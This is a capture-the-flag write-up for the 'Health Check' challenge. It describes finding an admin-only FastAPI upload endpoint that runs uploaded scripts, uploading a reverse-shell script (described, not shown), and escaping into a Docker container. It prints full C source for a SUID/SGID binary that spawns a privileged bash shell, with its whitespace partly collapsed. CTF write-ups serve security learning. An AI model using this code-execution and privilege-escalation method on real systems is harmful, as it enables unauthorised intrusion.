Want to know whether the challenge is down or it's just your network down? Want to know who to send a message when you want to contact an admin of some challenges? Take a look at our "fastest" Health Check API in the world!
Warning: Do not violate our CTF rules.
Author: chiffoncake
Solution
Health Check 1
Visiting the webpage, we could guess through the response headers that the server was using FastAPI. We could download openapi.json to see the available endpoints.
"/new": {"post": {"summary":"Create Problem", "description": "**This endpoint is only for admin. Do NOT share this link with players!**\n\nUpload the health check script to create a new problem. The uploaded file should be a zip file.\nThe zip file should NOT have a top-level folder. In the folder, you must place an executable (or a script) named `run`. You may put other files as you want.\nBelow is an example output of `zipinfo myzip.zip` of a valid `myzip.zip`:\n\n```\nArchive: myzip.zip\nZip file size: 383 bytes, number of entries: 2\n-rwxrwxr-x 3.0 unx 84 tx defN 22-Aug-20 19:53 run\n-rw-rw-r-- 3.0 unx 8 tx stor 22-Aug-20 19:53 my-env\n2 files, 92 bytes uncompressed, 89 bytes compressed: 3.3%\n```\n\nBelow is an example output of an invalid zip (because it has a top-level folder):\n\n```\nArchive: badzip.zip\nZip file size: 553 bytes, number of entries: 3\ndrwxrwxr-x 3.0 unx 0 bx stor 22-Aug-20 19:55 badzip/\n-rw-rw-r-- 3.0 unx 8 tx stor 22-Aug-20 19:55 badzip/myenv\n-rwxrwxr-x 3.0 unx 84 tx defN 22-Aug-20 19:55 badzip/run\n3 files, 92 bytes uncompressed, 89 bytes compressed: 3.3%\n```\n\nEvery 30 seconds, the server will spawn a new process, cd into your folder, and run `./run`. Your `./run` should create `./status.json` to store the health check result, which will be returned when the players request for the status of this problem.\nIf you have any question, please contact @chiffoncake.",
"operationId":"create_problem_new_post","requestBody": {"content": {"multipart/form-data": {"schema": {"$ref":"#/components/schemas/Body_create_problem_new_post" } } },"required":true }, ...
We could see the following description for the /new endpoint.
This endpoint is only for admin. Do NOT share this link with players!
Upload the health check script to create a new problem. The uploaded file should be a zip file.
The zip file should NOT have a top-level folder. In the folder, you must place an executable (or a script) named run. You may put other files as you want.
...
Indeed, we could upload a zip file containing a run bash script that gives us a reverse shell.
We could clearly see that if the zip file name contains docker-entry, then instead of running the script as the nobody user, we get a shell within a Docker container that has the current directory mounted to /data.
Let's take a step back - we now have a way of gaining a shell both inside and outside of the Docker container. The shell inside the container has higher privileges than the one outside (the one inside runs as the uploaded user, while the one outside runs as the nobody user).
I compiled a binary that sets the effective user and group IDs to that of the SUID and SGID permissions, then compiled it and gave it SUID and SGID permissions with chmod u+s exp and chmod g+s exp.
#include<stdio.h>#include<stdlib.h>#include<sys/types.h>#include<unistd.h>#include<errno.h>intmain(){int t;printf("before, geteuid() returned %d\n", geteuid());printf("before, getuid() returned %d\n", getuid()); t =setuid(geteuid());if (t <0) {perror("Error with setuid() - errno "+ errno);exit(1); }printf("before, getegid() returned %d\n", getegid());printf("before, getgid() returned %d\n", getgid()); t =setgid(getegid());if (t <0) {perror("Error with setgid() - errno "+ errno);exit(1); }printf("after, geteuid() returned %d\n", geteuid());printf("after, getuid() returned %d\n", getuid());printf("after, getegid() returned %d\n", getegid());printf("after, getgid() returned %d\n", getgid());setreuid(geteuid(), geteuid());setregid(getegid(), getegid());printf("finally, geteuid() returned %d\n", geteuid());printf("finally, getuid() returned %d\n", getuid());printf("finally, getegid() returned %d\n", getegid());printf("finally, getgid() returned %d\n", getgid());printf("did work fine, look who I am:\n");system("/bin/bash -c whoami");system("/bin/bash");}